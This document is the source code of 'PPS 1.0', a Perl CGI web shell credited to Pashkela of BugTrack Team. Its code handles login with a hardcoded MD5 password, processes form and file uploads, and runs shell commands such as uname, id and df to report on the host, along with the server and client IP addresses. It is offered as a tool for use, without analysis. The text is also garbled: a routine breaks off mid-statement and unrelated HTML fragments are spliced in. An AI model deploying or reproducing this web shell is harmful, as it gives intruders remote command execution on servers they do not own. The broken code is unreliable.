#!/usr/bin/perl ################################################################################# #PPS 1.0 - Perl-cgi web shell by Pashkela [BugTrack Team] © 2010 use Digest::MD5 qw(md5_hex); $Password = "63a9f0ea7bb98050796b649e85481845";# - root [md5] $WinNT = 0; # *nix=0,win=1 $CommandTimeoutDuration = 10;# max time of command execution in console in seconds ################################################################################## $NTCmdSep = "&"; $UnixCmdSep = ";"; $ShowDynamicOutput = 1; $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);$CmdPwd = ($WinNT ? "cd" : "pwd");$PathSep = ($WinNT ? "\\" : "/");$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");$LogFlag = false;use File::Basename; use MIME::Base64;sub cod($){my $url =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$url=encode_base64($_[0]);return $url;} sub dec($){ my $url1=decode_base64($_[0]);return $url1;}sub ReadParse {local (*in) = @_ if @_;local ($i, $loc, $key, $val);$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;if($ENV{'REQUEST_METHOD'} eq "GET"){$in = $ENV{'QUERY_STRING'};}elsif($ENV{'REQUEST_METHOD'} eq "POST"){binmode(STDIN) if $MultipartFormData & $WinNT;read(STDIN, $in, $ENV{'CONTENT_LENGTH'});}if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/){$Boundary = '--'.$1; @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ /\r\n\r\n|\n\n/;$Header = $`;$Body = $';$Body =~ s/\r\n$//;$in{'filedata'} = $Body;$Header =~ /filename=\"(.+)\"/;$in{'f'} = $1;$in{'f'} =~ s/\"//g;$in{'f'} =~ s/\s//g;for($i=2; $list[$i]; $i++){$list[$i] =~ s/^.+name=$//;$list[$i] =~ /\"(\w+)\"/;$key = $1;$val = $';$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} = $val;}}else{@in = split(/&/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i],2);$key =~ s/%(..)/pack("c", hex($1))/ge;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} .= "\0" if (defined($in{$key}));$in{$key} .= $val;}}}sub uname{$s="uname -a";$s.=" -U $q{u}" if($q{u});return $s;}sub hddall{$s='df -k /|sed 1d|awk "{total += \$2} {print total/1024/1024}"';$s.=" -U $q{u}" if($q{u});return $s;}sub hddfree{$s='df -k /|sed 1d|awk "{total += \$4} {print total/1024/1024}"';$s.=" -U $q{u}" if($q{u});return $s;}sub hddproc{$s='df -k /| sed 1d | awk "{total += \$5} {print 100-total}"';$s.=" -U $q{u}" if($q{u});return $s;}$hddall=hddall();$hddfree=hddfree();$hddproc=hddproc();sub PH{printf ("%.2f",(@_))};sub id{$s="id";$s.=" -U $q{u}" if($q{u});return $s;} sub dir_list{my @list=();$CurrentDir=~s!\Q//!/!g;my $dir=$CurrentDir;@list=scan_dir($dir);$id=0;foreach $arg(@list) {$id++;$ii='d'.$id;my $name=fileparse($arg,@suffixlist);if (-d $arg){print '
Uname: User: Hdd: DateTime: Cwd: | ";P("". `$idd` . "");print " ";PH("".`$hddall`. "");print " GB Free: ";PH("".`$hddfree`. "");print " GB [ ";P("". `$hddproc`);print "% ]";$time=localtime;print " $time
$ENV{'SERVER_ADDR'} Client IP: $ENV{'REMOTE_ADDR'} |